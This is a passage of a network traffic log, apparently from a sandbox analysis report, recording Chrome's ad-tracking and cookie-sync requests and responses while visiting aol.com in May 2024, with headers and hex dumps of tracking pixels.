sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:17 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:17 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:17 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.6	50532	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	738	OUT	GET /usersync/turn/2453272765358793259?dspret=1&gdpr=&gdpr_consent=&us_privacy= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D
2024-05-23 22:35:17 UTC	313	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:17 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache location: https://sync.targeting.unrulymedia.com/csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003 connection: close
2024-05-23 22:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.6	50554	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:16 UTC	1694	OUT	GET /setuid?bidder=yieldmo&f=i&uid=VI3M3YYKKoYShFji8P8C&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9fX0=; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:17 UTC	1283	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZJM00zWVlLS29ZU2hGamk4UDhDIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuMDgxOTIxMDA4WiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:17 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:17 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-05-23 22:35:17 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-05-23 22:35:17 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.6	50558	213.155.156.167	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	821	OUT	GET /getuid/pubmatic?https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3NDUmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=$UID HTTP/1.1 Host: d5p.de17a.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	138	IN	HTTP/1.1 200 content-length: 35 content-type: image/gif p3p: CP=NON CURa ADMa DEVa TAIa OUR STP IND UNI COM NAV connection: close
2024-05-23 22:35:17 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.6	50563	104.18.24.173	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	857	OUT	GET /i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	945	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 23 May 2024 22:35:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 1674 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=aHnoeUolXVyQuWxdKZcLpRUIVmxUGIGgafrGPiKxI; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=aHnoeUolXVyQuWxdKZcLpRUIVmxUGIGgafrGPiKxI; path=/; domain=.tribalfusion.com; expires=Wed, 21-Aug-2024 22:35:17 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID} CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888884a86c81427f-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:35:17 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-05-23 22:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.6	50559	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1539	OUT	GET /pcs/view?xai=AKAOjssp4jfsS0O8nNLspUPAtOc4MEKQ3HVxADQ39ONf2K2YqgRsW5oiNXqeG4ac3U_fXB61t117zQSO24UkCOL3g0ty2kooZCGKaBy92nP6qzhdWcG0JL2I6ObogZVYrEy4zIKFUOsYP-CnJMxF0vp9-bZHISr3q1xGctXpHe-b0_GTotMVq2QnAVIuyGNrHqbX65hKxN1b9mNDVh2ndlWCtploKG8Tr-iuBmg4mmrpfzsnZeNI_WsJ1sehlIVEQMWjjhdXwxQVJY4Rl55wYVlMcR8QbfY32-vs1Lo7wkc_MJR17gd_TCUxR0UlMcpa2uCaVVB1G3L6HWabQpi5IFrPN4BHEqPu97JPJgGndA5JzUsX9HN0vCgWh4CBBe9Q7SFrbYRbGOwkgXW_BnZ16Q5uFWFmPACn_lvdq_XklN5k&sai=AMfl-YS7f1h2bPExTVuXNO8Lfem4oEKg_uBU1RLMbZGMWYzy_JLoRectSts2kgNvHgAgDWiV-GOIOYgNK9e2XXF37ORKhccsmF5kxP33xPmi_y7QARPErlrPJUX0LMf6-ug&sig=Cg0ArKJSzHb0ApXOI8PrEAE&uach_m=%5BUACH%5D&urlfix=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	981	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:17 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:50:17 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Thu, 23 May 2024 22:35:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.6	50561	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1539	OUT	GET /pcs/view?xai=AKAOjstCsm1dAlNFaiBa55-R0tnOgvOTRtEXWL_tcv_FUJXQYsdQkShIyLDngkPOVOAGr_d6XhMABqpfS8Jjb_CuIe4mEkyA9x49FAzcsIBiX6Jwwr1SOWajRrup7vcnkBISWQ_ipXBraCz8-G6-GhpEk8BlN0KW0xuf5iI3Y4ee8CX0gTGO8TBNGs01m7zAie0i-hWi8C_ufM7z-GIODPDGQLj642Un668b9yaxMG7ORAAvALZAgiVG-HHru62KcAKY-_Nx753EsunVgG0wUchmsGGrn7JKU9BhTtFdSRwXFiKNU5xOrfVe16g3IVFv8zYcXTM6QAJ2tBc4Hpfra_rsr3W9mY-pJBFyqUPhh9uG3UfhRTttNkkpSxLPtdV8LG2Y5AZ7jnFkBjsbAxuMvwjoS4JKJOYeNp7ZMZ1YHV1_&sai=AMfl-YQ2UOcmX28UuOqANiNY0LuJ3mpTDDycFp3oEvpjAWHDAi9R7cV1e0TNLbHOuJQnRkOZUvJ6Rov5hoY2y-wBxz4Aa4AciygF6KAKhs45i1qPh-9__rG5jj511VNoIDM&sig=Cg0ArKJSzN_P7O7F8FtBEAE&uach_m=%5BUACH%5D&urlfix=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	981	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:17 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:50:17 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Thu, 23 May 2024 22:35:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.6	50560	3.160.150.105	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	779	OUT	GET /profiles_user/ProfilesuserServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LWJTZABN-X-K4PW&ckls=true&ci=tmRPs43eIy&nc=false&trid=-1776678238 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=tmRPs43eIy
2024-05-23 22:35:17 UTC	1468	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 23 May 2024 22:35:17 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: IQPData=137264047#1716503717478#0#1716503717478; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQ=tmRPs43eIy; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQMID=137264047#1716503717491; Domain=.intentiq.com; Expires=Sat, 22 Jun 2024 22:35:17 GMT; Path=/; Secure; SameSite=None Set-Cookie: CSDT=UEQ6MTUxMDZfMCZVRGRpZldW; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQCDate=1716503717487; Domain=.intentiq.com; Expires=Sat, 23 May 2026 22:35:17 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 88fd4dc311317996718ed4ed98e5cbda.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P7 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: UgnJvjKFMGFek9dQYbPgW8blD0btl19Y8qMmczBsou2SdDdvOBfN4A==
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.6	50564	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	547	OUT	GET /kj/js/dispatcherWidget.js?_=1716503707359 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	772	IN	HTTP/1.1 200 OK x-amz-id-2: TUZSKqjJSXriVAffnJPWuIPSGuBvjtSeEvZqMRNFF5XmsLDnkoqYs+lW3W2dQYULpPPGu7dJZIvdY/CsNFoGSLXrVPtKwQgs+gxBJy68g+8= x-amz-request-id: VABV0P78X4RQTMXQ Date: Thu, 23 May 2024 22:35:18 GMT Last-Modified: Fri, 02 Feb 2024 16:36:29 GMT ETag: "2bcd33abcf1d9b53e39084bef961e404" x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 32281 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 76 61 72 20 5f 5f 65 78 74 65 6e 64 73 20 3d 20 28 74 68 69 73 20 26 26 20 74 68 69 73 2e 5f 5f 65 78 74 65 6e 64 73 29 20 7c 7c 20 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 64 2c 20 62 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 20 3d 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 7b 20 5f 5f 70 72 6f 74 6f 5f 5f 3a 20 5b 5d 20 7d 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 20 26 26 20 66 75 6e 63 74 69 6f 6e 20 28 64 2c 20 62 29 20 7b 20 64 2e 5f 5f 70 Data Ascii: (function () { var __extends = (this && this.__extends) \|\| (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf \|\| ({ __proto__: [] } instanceof Array && function (d, b) { d.__p
